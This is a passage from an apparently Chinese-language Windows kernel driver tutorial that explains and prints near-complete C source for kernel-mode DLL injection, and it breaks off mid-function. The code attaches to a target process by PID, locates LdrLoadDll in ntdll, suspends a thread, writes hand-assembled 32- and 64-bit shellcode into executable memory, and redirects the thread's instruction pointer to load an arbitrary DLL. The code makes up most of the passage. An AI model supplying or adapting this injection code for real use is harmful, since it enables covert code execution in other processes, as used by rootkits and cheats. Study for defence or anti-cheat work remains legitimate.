  110.                 PVOID ntdll_address = (PVOID)0x0000000077540000;
  112.                 // 附加到进程内
  113.                 KeStackAttachProcess(pEprocess, &kApc);
  115.                 // 取模块中LdrLoadDll函数基址
  116.                 PVOID LdrLoadDllAddress = GetModuleExport(ntdll_address, "LdrLoadDll");
  118.                 DbgPrint("[*] LdrLoadDllAddress = %p \n", LdrLoadDllAddress);
  120.                 // 取消附加
  121.                 KeUnstackDetachProcess(&kApc);
  123.                 // 递减计数
  124.                 ObDereferenceObject(pEprocess);
  125.         }
  127.         Driver->DriverUnload = UnDriver;
  128.         return STATUS_SUCCESS;
  129. }
复制代码
编译并运行如上代码片段，即可获取到进程6084号，ntdll.dll模块中LdrLoadDll的内存地址，其输出效果图如下所示；

GetCurrentContext 获取当前线程上下文: 此函数的功能是获取附加进程内当前线程的上下文地址，函数接收一个参数，内部通过PsLookupProcessByProcessId得到进程EProcess结构体，通过KeStackAttachProcess附加到进程内，调用g_ZwGetNextThread获取当当前线程上下文，函数ObReferenceObjectByHandle用于将Handle转换为线程对象，之后再通过g_PsSuspendThread暂停线程后，即可通过各类函数获取到该线程的绝大部分信息，最终在调用结束时记得调用g_PsResumeThread恢复线程的运行，并KeUnstackDetachProcess脱离附加，解析上下文环境完整代码如下所示；
  1. // 署名权
  2. // right to sign one's name on a piece of work
  3. // PowerBy: LyShark
  4. // Email: me@lyshark.com
  6. #include "lyshark.h"
  8. // ShellCode 注入线程函数
  9. NTSTATUS GetCurrentContext(ULONG pid, PVOID* allcateAddress)
  10. {
  11.         PEPROCESS pEprocess = NULL;
  13.         // 根据PID得到进程Eprocess结构
  14.         if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
  15.         {
  16.                 KAPC_STATE kApc = { 0 };
  18.                 // 附加到进程内
  19.                 KeStackAttachProcess(pEprocess, &kApc);
  21.                 HANDLE threadHandle = NULL;
  23.                 // 得到当前正在运行的线程上下文
  24.                 if (NT_SUCCESS(g_ZwGetNextThread((HANDLE)-1, (HANDLE)0, 0x1FFFFF, 0x240, 0, &threadHandle)))
  25.                 {
  26.                         PVOID threadObj = NULL;
  28.                         // 在对象句柄上提供访问验证，如果可以授予访问权限，则返回指向对象的正文的相应指针。
  29.                         NTSTATUS state = ObReferenceObjectByHandle(threadHandle, 0x1FFFFF, *PsThreadType, KernelMode, &threadObj, NULL);
  30.                         if (NT_SUCCESS(state))
  31.                         {
  32.                                 // 暂停线程
  33.                                 g_PsSuspendThread(threadObj, NULL);
  35.                                 __try
  36.                                 {
  37.                                         // 得到TEB
  38.                                         PVOID pTeb = g_PsGetThreadTeb(threadObj);
  39.                                         if (pTeb)
  40.                                         {
  41.                                                 DbgPrint("[+] 线程环境块TEB = %p \n", pTeb);
  43.                                                 // 得到当前线程上下文
  44.                                                 /* WOW64CONTEXTOFFSET = TlsSlots + 8
  45.                                                         0: kd> dt _TEB
  46.                                                         nt!_TEB
  47.                                                         + 0x000 NtTib            : _NT_TIB
  48.                                                         + 0x1258 StaticUnicodeString : _UNICODE_STRING
  49.                                                         + 0x1268 StaticUnicodeBuffer : [261] Wchar
  50.                                                         + 0x1472 Padding3 : [6] UChar
  51.                                                         + 0x1478 DeallocationStack : Ptr64 Void
  52.                                                         + 0x1480 TlsSlots : [64] Ptr64 Void
  53.                                                         + 0x1680 TlsLinks : _LIST_ENTRY
  54.                                                         + 0x1690 Vdm : Ptr64 Void
  55.                                                         + 0x1698 ReservedForNtRpc : Ptr64 Void
  56.                                                         + 0x16a0 DbgSsReserved : [2] Ptr64 Void
  57.                                                 */
  59.                                                 PWOW64_CONTEXT  pCurrentContext = (PWOW64_CONTEXT)(*(ULONG64*)((ULONG64)pTeb + WOW64CONTEXTOFFSET));
  60.                                                 DbgPrint("[-] 当前上下文EIP = %p \n", pCurrentContext->Eip);
  62.                                                 // 检查上下文是否可读
  63.                                                 ProbeForRead((PVOID)pCurrentContext, sizeof(pCurrentContext), sizeof(CHAR));
  65.                                                 UCHAR Code[] = {
  66.                                                         0xb8, 0x0, 0x0, 0x0, 0x0,        // mov eax, orgEip
  67.                                                         0x58,                            // pop eax
  68.                                                         0xc3                             // ret
  69.                                                 };
  71.                                                 // 将ShellCode拷贝到InjectBuffer中等待处理
  72.                                                 RtlCopyMemory(allcateAddress, Code, sizeof(Code));
  73.                                                 DbgPrint("[*] 拷贝 [%p] 内存 \n", allcateAddress);;
  75.                                                 // 修改代码模板，将指定位置替换为我们自己的代码
  76.                                                 *(ULONG*)((PUCHAR)allcateAddress + 1) = pCurrentContext->Eip;
  77.                                                 DbgPrint("[*] 替换 [ %p ] 跳转地址 \n", pCurrentContext->Eip);
  79.                                                 // 执行线程
  80.                                                 pCurrentContext->Eip = (ULONG)(ULONG64)(allcateAddress);
  81.                                                 DbgPrint("[*] 执行 [ %p ] 线程函数 \n", pCurrentContext->Eip);
  82.                                         }
  83.                                 }
  84.                                 __except (EXCEPTION_EXECUTE_HANDLER) {}
  86.                                 // 恢复线程
  87.                                 g_PsResumeThread(threadObj, NULL);
  88.                                 ObDereferenceObject(threadObj);
  89.                         }
  90.                         NtClose(threadHandle);
  91.                 }
  93.                 // 关闭线程
  94.                 KeUnstackDetachProcess(&kApc);
  95.                 ObDereferenceObject(pEprocess);
  96.         }
  97.         return STATUS_SUCCESS;
  98. }
  100. NTSTATUS UnDriver(PDRIVER_OBJECT driver)
  101. {
  102.         UNREFERENCED_PARAMETER(driver);
  103.         return STATUS_SUCCESS;
  104. }
  106. NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
  107. {
  108.         DbgPrint("Hello LyShark.com \n");
  110.         UNREFERENCED_PARAMETER(RegistryPath);
  112.         // 初始化基址
  113.         InitAddress(Driver);
  115.         ULONG ProcessID = 4904;
  116.         PVOID AllcateAddress = NULL;
  117.         DWORD create_size = 1024;
  119.         // 申请堆 《内核远程堆分配与销毁》核心代码
  120.         NTSTATUS Status = AllocMemory(ProcessID, create_size, &AllcateAddress);
  122.         // 执行ShellCode线程注入
  123.         Status = GetCurrentContext(ProcessID, &AllcateAddress);
  125.         Driver->DriverUnload = UnDriver;
  126.         return STATUS_SUCCESS;
  127. }
复制代码
运行如上代码片段，则将输出进程ID=4904的当前进程内，线程上下文RIP地址，输出效果如下图所示；

KernelInjectDLL 驱动注入: 如上代码中我们已经找到了驱动注入时所需用到的关键函数，那么实现代码就变得很容易了，驱动注入的实现方式有很多种，不论哪一种其实现的难度并不在于代码本身，而在于某些结构如何正确的被找到，一旦结构被找到原理方面的代码可以说非常容易获取到，如下这段完整代码则是驱动注入的一个简化版，如果你觉得不方便完全可以自行添加IOCTL控制器让其更易于使用，此处为了节约篇幅不在增加冗余代码，代码已做具体分析和备注。
此注入驱动核心实现代码如下所示，其中SearchOPcode用于在内核模块中寻找符合条件的内存地址，GetNativeCode则用于生成一段可被调用的ShellCode代码，此代码执行的目的就是将DLL动态装载到对端内存中，SetThreadStartAddress则用于填充执行线程结构信息，GetUserModule用户获取进程内特定模块的基址，GetModuleExport用于在模块内寻找特定函数的基址，KernelInjectDLL则是最终注入函数，其首先将线程暂停，并注入生成的ShellCode，然后恢复线程让ShellCode跑起来，当ShellCode跑起来后将会自动的将特定目录下的DLL拉起来，以此来实现动态加载的目的。
  1. // 署名权
  2. // right to sign one's name on a piece of work
  3. // PowerBy: LyShark
  4. // Email: me@lyshark.com
  6. #include "lyshark.h"
  8. // 内核特征码定位函数封装
  9. PVOID SearchOPcode(PDRIVER_OBJECT pObj, PWCHAR DriverName, PCHAR sectionName, PUCHAR opCode, int len, int offset)
  10. {
  11.         PVOID dllBase = NULL;
  12.         UNICODE_STRING uniDriverName;
  13.         PKLDR_DATA_TABLE_ENTRY firstentry;
  15.         // 获取驱动入口
  16.         PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;
  18.         firstentry = entry;
  19.         RtlInitUnicodeString(&uniDriverName, DriverName);
  21.         // 开始遍历
  22.         while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
  23.         {
  24.                 // 如果找到了所需模块则将其基地址返回
  25.                 if (entry->FullDllName.Buffer != 0 && entry->BaseDllName.Buffer != 0)
  26.                 {
  27.                         if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
  28.                         {
  29.                                 dllBase = entry->DllBase;
  30.                                 break;
  31.                         }
  32.                 }
  33.                 entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
  34.         }
  36.         if (dllBase)
  37.         {
  38.                 __try
  39.                 {
  40.                         // 载入模块基地址
  41.                         PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)dllBase;
  42.                         if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  43.                         {
  44.                                 return NULL;
  45.                         }
  46.                         // 得到模块NT头
  47.                         PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)dllBase + ImageDosHeader->e_lfanew);
  49.                         // 获取节表头
  50.                         PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader);
  52.                         PUCHAR endAddress = 0;
  53.                         PUCHAR starAddress = 0;
  55.                         // 寻找符合条件的节
  56.                         for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++)
  57.                         {
  58.                                 // 寻找符合条件的表名
  59.                                 if (memcmp(sectionName, pSectionHeader->Name, strlen(sectionName) + 1) == 0)
  60.                                 {
  61.                                         // 取出开始和结束地址
  62.                                         starAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase;
  63.                                         endAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase + pSectionHeader->SizeOfRawData;
  64.                                         break;
  65.                                 }
  66.                                 // 遍历下一个节
  67.                                 pSectionHeader++;
  68.                         }
  69.                         if (endAddress && starAddress)
  70.                         {
  71.                                 // 找到会开始寻找特征
  72.                                 for (; starAddress < endAddress - len - 1; starAddress++)
  73.                                 {
  74.                                         // 验证访问权限
  75.                                         if (MmIsAddressValid(starAddress))
  76.                                         {
  77.                                                 int i = 0;
  78.                                                 for (; i < len; i++)
  79.                                                 {
  80.                                                         // 判断是否为通配符'*'
  81.                                                         if (opCode[i] == 0x2a)
  82.                                                                 continue;
  84.                                                         // 找到了一个字节则跳出
  85.                                                         if (opCode[i] != starAddress[i])
  86.                                                                 break;
  87.                                                 }
  88.                                                 // 找到次数完全匹配则返回地址
  89.                                                 if (i == len)
  90.                                                 {
  91.                                                         return starAddress + offset;
  92.                                                 }
  93.                                         }
  94.                                 }
  95.                         }
  96.                 }
  97.                 __except (EXCEPTION_EXECUTE_HANDLER) {}
  98.         }
  100.         return NULL;
  101. }
  103. // 生成64位注入代码
  104. PINJECT_BUFFER GetNativeCode(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONGLONG orgEip)
  105. {
  106.         SIZE_T Size = PAGE_SIZE;
  107.         PINJECT_BUFFER InjectBuffer = NULL;
  108.         UCHAR Code[] = {
  109.                 0x41, 0x57,                             // push r15
  110.                 0x41, 0x56,                             // push r14
  111.                 0x41, 0x55,                             // push r13
  112.                 0x41, 0x54,                             // push r12
  113.                 0x41, 0x53,                             // push r11
  114.                 0x41, 0x52,                             // push r10
  115.                 0x41, 0x51,                             // push r9
  116.                 0x41, 0x50,                             // push r8
  117.                 0x50,                                   // push rax
  118.                 0x51,                                   // push rcx
  119.                 0x53,                                   // push rbx
  120.                 0x52,                                   // push rdx
  121.                 0x55,                                   // push rbp
  122.                 0x54,                                   // push rsp
  123.                 0x56,                                   // push rsi
  124.                 0x57,                                   // push rdi
  125.                 0x66, 0x9C,                             // pushf
  126.                 0x48, 0x83, 0xEC, 0x26,                 // sub rsp, 0x28
  127.                 0x48, 0x31, 0xC9,                       // xor rcx, rcx
  128.                 0x48, 0x31, 0xD2,                       // xor rdx, rdx
  129.                 0x49, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,     // mov r8, ModuleFileName   offset +38
  130.                 0x49, 0xB9, 0, 0, 0, 0, 0, 0, 0, 0,     // mov r9, ModuleHandle     offset +48
  131.                 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rax, LdrLoadDll      offset +58
  132.                 0xFF, 0xD0,                             // call rax
  133.                 0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rdx, COMPLETE_OFFSET offset +70
  134.                 0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0,     // mov [rdx], CALL_COMPLETE
  135.                 0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rdx, STATUS_OFFSET   offset +86
  136.                 0x89, 0x02,                             // mov [rdx], eax
  137.                 0x48, 0x83, 0xC4, 0x26,                 // add rsp, 0x28
  138.                 0x66, 0x9D,                             // popf
  139.                 0x5F,                                   // pop rdi
  140.                 0x5E,                                   // pop rsi
  141.                 0x5C,                                   // pop rsp
  142.                 0x5D,                                   // pop rbp
  143.                 0x5A,                                   // pop rdx
  144.                 0x5B,                                   // pop rbx
  145.                 0x59,                                   // pop rcx
  146.                 0x58,                                   // pop rax
  147.                 0x41, 0x58,                             // pop r8
  148.                 0x41, 0x59,                             // pop r9
  149.                 0x41, 0x5A,                             // pop r10
  150.                 0x41, 0x5B,                             // pop r11
  151.                 0x41, 0x5C,                             // pop r12
  152.                 0x41, 0x5D,                             // pop r13
  153.                 0x41, 0x5E,                             // pop r14
  154.                 0x41, 0x5F,                             // pop r15
  155.                 0x50,                                   // push rax
  156.                 0x50,                                   // push rax
  157.                 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rax, orgEip offset +130
  158.                 0x48, 0x89, 0x44, 0x24, 0x08,           // mov [rsp+8],rax
  159.                 0x58,                                   // pop rax
  160.                 0xC3                                    // ret
  161.         };
  163.         // 在当前进程内分配内存空间
  164.         if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
  165.         {
  166.                 // 初始化路径变量与长度参数
  167.                 PUNICODE_STRING UserPath = &InjectBuffer->Path;
  168.                 UserPath->Length = DllFullPath->Length;
  169.                 UserPath->MaximumLength = DllFullPath->MaximumLength;
  170.                 UserPath->Buffer = InjectBuffer->Buffer;
  172.                 RtlUnicodeStringCopy(UserPath, DllFullPath);
  174.                 // 将ShellCode拷贝到InjectBuffer中等待处理
  175.                 memcpy(InjectBuffer, Code, sizeof(Code));
  177.                 // 修改代码模板，将指定位置替换为我们自己的代码
  178.                 *(ULONGLONG*)((PUCHAR)InjectBuffer + 38) = (ULONGLONG)UserPath;
  179.                 *(ULONGLONG*)((PUCHAR)InjectBuffer + 48) = (ULONGLONG)& InjectBuffer->ModuleHandle;
  180.                 *(ULONGLONG*)((PUCHAR)InjectBuffer + 58) = (ULONGLONG)LdrLoadDll;
  181.                 *(ULONGLONG*)((PUCHAR)InjectBuffer + 70) = (ULONGLONG)& InjectBuffer->Complete;
  182.                 *(ULONGLONG*)((PUCHAR)InjectBuffer + 86) = (ULONGLONG)& InjectBuffer->Status;
  183.                 *(ULONGLONG*)((PUCHAR)InjectBuffer + 130) = orgEip;
  185.                 return InjectBuffer;
  186.         }
  187.         return NULL;
  188. }
  190. // 生成32位注入代码
  191. PINJECT_BUFFER GetWow64Code(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONG orgEip)
  192. {
  193.         SIZE_T Size = PAGE_SIZE;
  194.         PINJECT_BUFFER InjectBuffer = NULL;
  196.         UCHAR Code[] = {
  197.                 0x60,                                   // pushad
  198.                 0x9c,                                   // pushfd
  199.                 0x68, 0, 0, 0, 0,                       // push ModuleHandle            offset +3
  200.                 0x68, 0, 0, 0, 0,                       // push ModuleFileName          offset +8
  201.                 0x6A, 0,                                // push Flags  
  202.                 0x6A, 0,                                // push PathToFile
  203.                 0xE8, 0, 0, 0, 0,                       // call LdrLoadDll              offset +17
  204.                 0xBA, 0, 0, 0, 0,                       // mov edx, COMPLETE_OFFSET     offset +22
  205.                 0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0,     // mov [edx], CALL_COMPLETE     
  206.                 0xBA, 0, 0, 0, 0,                       // mov edx, STATUS_OFFSET       offset +33
  207.                 0x89, 0x02,                             // mov [edx], eax
  208.                 0x9d,                                   // popfd
  209.                 0x61,                                   // popad
  210.                 0x50,                                   // push eax
  211.                 0x50,                                   // push eax
  212.                 0xb8, 0, 0, 0, 0,                       // mov eax, orgEip
  213.                 0x89, 0x44, 0x24, 0x04,                 // mov [esp+4],eax
  214.                 0x58,                                   // pop eax
  215.                 0xc3                                    // ret
  216.         };
  218.         /*
  219.         如下代码中通过定义Code并写入调用模块加载的汇编指令集，通过运用ZwAllocateVirtualMemory在当前进程也就是附加到对端以后的进程内动态开辟了一块长度为Size的内存空间并赋予了PAGE_EXECUTE_READWRITE读写执行属性，
  220.         由于Code代码无法直接使用，则此处调用RtlCopyMemory将指令拷贝到了InjectBuffer其目的是用于后续的填充工作，最后通过*(ULONG*)((PUCHAR)InjectBuffer + 3)的方式将需要使用的函数地址，
  221.         模块信息等依次填充到汇编代码的指定位置，并返回InjectBuffer指针。
  222.         */
  224.         // 在当前进程内分配内存空间
  225.         if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
  226.         {
  227.                 // 初始化路径变量与长度参数
  228.                 PUNICODE_STRING32 pUserPath = &InjectBuffer->Path32;
  229.                 pUserPath->Length = DllFullPath->Length;
  230.                 pUserPath->MaximumLength = DllFullPath->MaximumLength;
  231.                 pUserPath->Buffer = (ULONG)(ULONG_PTR)InjectBuffer->Buffer;
  233.                 // 将ShellCode拷贝到InjectBuffer中等待处理
  234.                 memcpy((PVOID)pUserPath->Buffer, DllFullPath->Buffer, DllFullPath->Length);
  235.                 memcpy(InjectBuffer, Code, sizeof(Code));
  237.                 // 修改代码模板，将指定位置替换为我们自己的代码
  238.                 *(ULONG*)((PUCHAR)InjectBuffer + 3) = (ULONG)(ULONG_PTR)& InjectBuffer->ModuleHandle;
  239.                 *(ULONG*)((PUCHAR)InjectBuffer + 8) = (ULONG)(ULONG_PTR)pUserPath;
  240.                 *(ULONG*)((PUCHAR)InjectBuffer + 17) = (ULONG)((ULONG_PTR)LdrLoadDll - ((ULONG_PTR)InjectBuffer + 17) - 5 + 1);
  241.                 *(ULONG*)((PUCHAR)InjectBuffer + 22) = (ULONG)(ULONG_PTR)& InjectBuffer->Complete;
  242.                 *(ULONG*)((PUCHAR)InjectBuffer + 33) = (ULONG)(ULONG_PTR)& InjectBuffer->Status;
  243.                 *(ULONG*)((PUCHAR)InjectBuffer + 44) = orgEip;
  244.                 return InjectBuffer;
  245.         }
  247.         return NULL;
  248. }
  250. // 设置线程执行地址
  251. NTSTATUS SetThreadStartAddress(PETHREAD pEthread, BOOLEAN isWow64, PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, PINJECT_BUFFER *allcateAddress)
  252. {
  253.         __try
  254.         {
  255.                 // 判断是32位则执行
  256.                 if (isWow64)
  257.                 {
  258.                         // 得到线程TEB
  259.                         PVOID pTeb = g_PsGetThreadTeb(pEthread);
  260.                         if (pTeb)
  261.                         {
  262.                                 // 得到当前线程上下文
  263.                                 PWOW64_CONTEXT  pCurrentContext = (PWOW64_CONTEXT)(*(ULONG64*)((ULONG64)pTeb + WOW64CONTEXTOFFSET));
  265.                                 // 检查上下文是否可读
  266.                                 ProbeForRead((PVOID)pCurrentContext, sizeof(pCurrentContext), sizeof(CHAR));
  268.                                 // 生成注入代码
  269.                                 PINJECT_BUFFER newAddress = GetWow64Code(LdrLoadDll, DllFullPath, pCurrentContext->Eip);
  270.                                 if (newAddress)
  271.                                 {
  272.                                         // 替换上下文地址到内存中
  273.                                         newAddress->orgRipAddress = (ULONG64)& (pCurrentContext->Eip);
  274.                                         newAddress->orgRip = pCurrentContext->Eip;
  275.                                         *allcateAddress = newAddress;
  276.                                         pCurrentContext->Eip = (ULONG)(ULONG64)(newAddress);
  277.                                 }
  278.                                 return STATUS_SUCCESS;
  279.                         }
  280.                 }
  281.                 // 执行64位代码
  282.                 else
  283.                 {
  284.                         // 验证地址是否可读取
  285.                         if (MmIsAddressValid((PVOID)* (ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET)))
  286.                         {
  287.                                 // 当前TID
  288.                                 PKTRAP_FRAME pCurrentTrap = (PKTRAP_FRAME)(*(ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET) - sizeof(KTRAP_FRAME));
  290.                                 // 生成注入代码
  291.                                 PINJECT_BUFFER newAddress = GetNativeCode(LdrLoadDll, DllFullPath, pCurrentTrap->Rip);
  292.                                 if (newAddress)
  293.                                 {
  294.                                         // 替换当前RIP地址
  295.                                         newAddress->orgRipAddress = (ULONG64)& (pCurrentTrap->Rip);
  296.                                         newAddress->orgRip = pCurrentTrap->Rip;
  297.                                         *allcateAddress = newAddress;
  298.                                         pCurrentTrap->Rip = (ULONG64)newAddress;
  299.                                 }
  300.                         }
  301.                         return STATUS_SUCCESS;
  302.                 }
  303.         }
  304.         __except (EXCEPTION_EXECUTE_HANDLER) {}
  306.         return STATUS_UNSUCCESSFUL;
  307. }
  309. // 得到当前用户进程下的模块基址
  310. PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64)
  311. {
  312.         if (EProcess == NULL)
  313.                 return NULL;
  314.         __try
  315.         {
  316.                 // 执行32位
  317.                 if (IsWow64)
  318.                 {
  319.                         // 获取32位下的PEB进程环境块
  320.                         PPEB32 Peb32 = (PPEB32)g_PsGetProcessWow64Process(EProcess);
  321.                         if (Peb32 == NULL)
  322.                                 return NULL;
  324.                         if (!Peb32->Ldr)
  325.                                 return NULL;
  327.                         // 循环遍历链表 寻找模块
  328.                         for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink;
  329.                                 ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList;
  330.                                 ListEntry = (PLIST_ENTRY32)ListEntry->Flink)
  331.                         {
  332.                                 UNICODE_STRING UnicodeString;
  333.                                 PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);
  335.                                 // 初始化模块名
  336.                                 RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);
  338.                                 // 对比模块名是否符合
  339.                                 if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0)
  340.                                         return (PVOID)LdrDataTableEntry32->DllBase;
  341.                         }
  342.                 }
  343.                 // 执行64位
  344.                 else
  345.                 {
  346.                         // 得到64位PEB进程环境块
  347.                         PPEB Peb = PsGetProcessPeb(EProcess);
  348.                         if (!Peb)
  349.                                 return NULL;
  351.                         if (!Peb->Ldr)
  352.                                 return NULL;
  354.                         // 开始遍历模块
  355.                         for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink;
  356.                                 ListEntry != &Peb->Ldr->InLoadOrderModuleList;
  357.                                 ListEntry = ListEntry->Flink)
  358.                         {
  359.                                 // 得到表头
  360.                                 PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
  362.                                 // 判断是否是所需要的模块
  363.                                 if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0)
  364.                                         return LdrDataTableEntry->DllBase;
  365.                         }
  366.                 }
  367.         }
  368.         __except (EXCEPTION_EXECUTE_HANDLER){}
  370.         return NULL;
  371. }
  373. // 根据函数名得到导出表地址
  374. PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName)
  375. {
  376.         PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
  377.         PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL;
  378.         PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL;
  379.         PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;
  380.         ULONG ExportDirectorySize = 0;
  381.         ULONG_PTR FunctionAddress = 0;
  383.         if (ModuleBase == NULL)
  384.                 return NULL;
  386.         __try
  387.         {
  388.                 // 判断是否是DOS头
  389.                 if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  390.                 {
  391.                         return NULL;
  392.                 }
  394.                 // 获取PE结构节NT头
  395.                 ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
  396.                 ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
  398.                 // 判断是否是64位
  399.                 if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
  400.                 {
  401.                         // 如果是64位则执行如下
  402.                         ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
  403.                         ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  404.                 }
  405.                 else
  406.                 {
  407.                         // 如果32位则执行如下
  408.                         ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
  409.                         ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  410.                 }
  412.                 // 取出导出表Index，名字，函地址等
  413.                 PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase);
  414.                 PULONG  pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase);
  415.                 PULONG  pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);
  417.                 // 循环导出表
  418.                 for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i)
  419.                 {
  420.                         USHORT OrdIndex = 0xFFFF;
  421.                         PCHAR  pName = NULL;
  423.                         // 说明是序号导出
  424.                         if ((ULONG_PTR)FunctionName <= 0xFFFF)
  425.                         {
  426.                                 // 得到函数序号
  427.                                 OrdIndex = (USHORT)i;
  428.                         }
  429.                         // 说明是名字导出
  430.                         else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames)
  431.                         {
  432.                                 // 得到函数名
  433.                                 pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase);
  434.                                 OrdIndex = pAddressOfOrds[i];
  435.                         }
  437.                         else
  438.                                 return NULL;
  440.                         // 判断函数名是否符合
  441.                         if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) ||
  442.                                 ((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0))
  443.                         {
  444.                                 // 得到完整地址
  445.                                 FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase;
  446.                                 break;
  447.                         }
  448.                 }
  449.         }
  450.         __except (EXCEPTION_EXECUTE_HANDLER){}
  452.         return (PVOID)FunctionAddress;
  453. }
  455. // DLL模块注入线程函数
  456. NTSTATUS KernelInjectDLL(ULONG pid, PUNICODE_STRING DllFullPath, PINJECT_BUFFER* allcateAddress)
  457. {
  458.         PEPROCESS pEprocess = NULL;
  460.         // 根据PID得到进程Eprocess结构
  461.         if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
  462.         {
  463.                 KAPC_STATE kApc = { 0 };
  465.                 // 附加到进程内
  466.                 KeStackAttachProcess(pEprocess, &kApc);
  468.                 // 得到Ntdll.dll模块基址
  469.                 UNICODE_STRING ntdllString = RTL_CONSTANT_STRING(L"Ntdll.dll");
  470.                 PVOID NtdllAddress = GetUserModule(pEprocess, &ntdllString, g_PsGetProcessWow64Process(pEprocess) != 0);
  471.                 if (!NtdllAddress)
  472.                 {
  473.                         // 失败了则直接脱离附加
  474.                         KeUnstackDetachProcess(&kApc);
  475.                         ObDereferenceObject(pEprocess);
  476.                         return STATUS_UNSUCCESSFUL;
  477.                 }
  479.                 // 得到LdrLoadDLL模块的基址
  480.                 PVOID LdrLoadDll = GetModuleExport(NtdllAddress, "LdrLoadDll");
  481.                 if (!LdrLoadDll)
  482.                 {
  483.                         KeUnstackDetachProcess(&kApc);
  484.                         ObDereferenceObject(pEprocess);
  485.                         return STATUS_UNSUCCESSFUL;
  486.                 }
  488.                 HANDLE threadHandle = NULL;
  490.                 // 得到当前正在运行的线程上下文
  491.                 if (NT_SUCCESS(g_ZwGetNextThread((HANDLE)-1, (HANDLE)0, 0x1FFFFF, 0x240, 0, &threadHandle)))
